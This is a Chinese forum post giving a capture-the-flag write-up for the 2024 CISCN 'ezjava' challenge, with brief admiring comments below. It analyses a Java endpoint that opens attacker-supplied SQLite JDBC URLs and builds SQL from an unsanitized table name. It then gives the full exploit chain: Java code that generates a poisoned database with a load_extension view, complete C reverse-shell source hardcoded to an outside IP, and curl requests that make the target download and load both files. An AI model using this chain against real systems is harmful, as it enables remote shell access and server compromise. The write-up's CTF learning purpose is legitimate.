2024ciscn-ezjava学习
N1ght 发表于 江苏 历史精选 3364浏览 · 2024-05-21 03:42

ciscn-ezjava思路
这周打了ciscn里面有一道java题目很有意思


详细分析一下
在JdbcController里面存在

@RequestMapping(value={"/connect"})
    @ResponseBody
    public ResultBean connect(@RequestBody JdbcBean jdbcBean) {
        try {
            return new ResultBean(Integer.valueOf(1), String.join((CharSequence)",", this.datasourceServiceImpl.testDatasourceConnectionAble(jdbcBean)));
        }
        catch (Exception e) {
            return new ResultBean(Integer.valueOf(0), "\u8fde\u63a5\u5931\u8d25");
        }
    }

很明显是调用了实例进行jdbc连接测试由此我们能想到jdbc attack
在datasourceServiceImpl.testDatasourceConnectionAble方法里面

public String[] testDatasourceConnectionAble(JdbcBean jdbcBean) throws ClassNotFoundException, SQLException {
        DatasourceServiceImpl datasourceServiceImpl = this;
        Map config = datasourceServiceImpl.datasourceLoadConfig.getConfig();
        switch (jdbcBean.getType()) {
            case 1: {
                Class.forName((String)config.get("JDBC-MYSQL"));
                MysqlDatasourceConnector mysqlDatasourceConnector = new MysqlDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl()));
                if (jdbcBean.getTableName() != null) {
                    return mysqlDatasourceConnector.getTableContent(jdbcBean.getTableName());
                }
                return mysqlDatasourceConnector.getTables();
            }
            case 2: {
                Class.forName((String)config.get("JDBC-POSTGRES"));
                PostgresDatasourceConnector postgresDatasourceConnector = new PostgresDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl()));
                if (jdbcBean.getTableName() != null) {
                    return postgresDatasourceConnector.getTableContent(jdbcBean.getTableName());
                }
                return postgresDatasourceConnector.getTables();
            }
            case 3: {
                SqliteDatasourceConnector sqliteDatasourceConnector = new SqliteDatasourceConnector(jdbcBean.getUrl());
                if (jdbcBean.getTableName() != null) {
                    return sqliteDatasourceConnector.getTableContent(jdbcBean.getTableName());
                }
                return sqliteDatasourceConnector.getTables();
            }
            case 4: {
                Class.forName((String)config.get("JDBC-SQLITE"));
                break;
            }
            default: {
                return new String[]{""};
            }
        }
        return new String[]{""};
    }

一眼就能看到SQLITE,发现了执行了这段函数sqliteDatasourceConnector.getTableContent(jdbcBean.getTableName());
这段函数的方法是

public String[] getTableContent(String tableName) {
        String sql = "select * from " + tableName;
        try (Statement statement = this.connection.createStatement();
             ResultSet resultSet = statement.executeQuery(sql);){
            while (resultSet.next()) {
            }
        }
        catch (SQLException e) {
            e.printStackTrace();
        }
        return new String[0];
    }

这样就思路清晰了,打sqlite jdbc attack加载恶意so文件
但是恶意so文件怎么存在远程的主机呢
我们看一下这段代码


会自动获取到/tmp/目录下的hash值,那我们需要CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-xxxx.db'));并且在上面的getTableContent的tableName要是security,所以我编写了一个生成db文件的代码。

package com.example.jdbctest;

import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.Statement;

public class Gen {
    public static void main(String[] args) {

            try {
                String dbFile = "F:/poc.db";
                File file = new File(dbFile);
                Class.forName("org.sqlite.JDBC");    //保证lib文件夹中已导入相关的jdbc包
                Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);//创建数据库连接
                System.out.println("Opened database successfully");


                String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-2133282111.db'));";  //向其中插入传入的三个参数
                PreparedStatement preStmt = conn.prepareStatement(sql);

                preStmt.executeUpdate();
                preStmt.close();
                conn.close();

            } catch (Exception e) {
                e.printStackTrace();
            }

    }
}

所以最后的问题就是恶意so怎么编写

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 4444;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("112.124.59.213");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;       
}

静态编译即可,最后使用curl发包

curl --header "Content-Type: application/json"  --request POST  --data '{"type": 3,"url": "jdbc:sqlite::resource:http://xxx/vulnso.so","tableName": "security"}' http://xxx/jdbc/connect
 curl --header "Content-Type: application/json"  --request POST  --data '{"type": 3,"url": "jdbc:sqlite::resource:http://xxx/poc.db","tableName": "security"}' http://xxx/jdbc/connect
4 条评论
某人
表情
可输入 255
Neko205
2024-06-11 06:37 福建 0 回复

白神!


1772780770806473
2024-06-10 11:54 福建 0 回复

白神!


jasper_sec
2024-05-23 00:44 江西 0 回复

white god!


Ba1_Ma0
2024-05-22 04:54 四川 0 回复

白神!


目录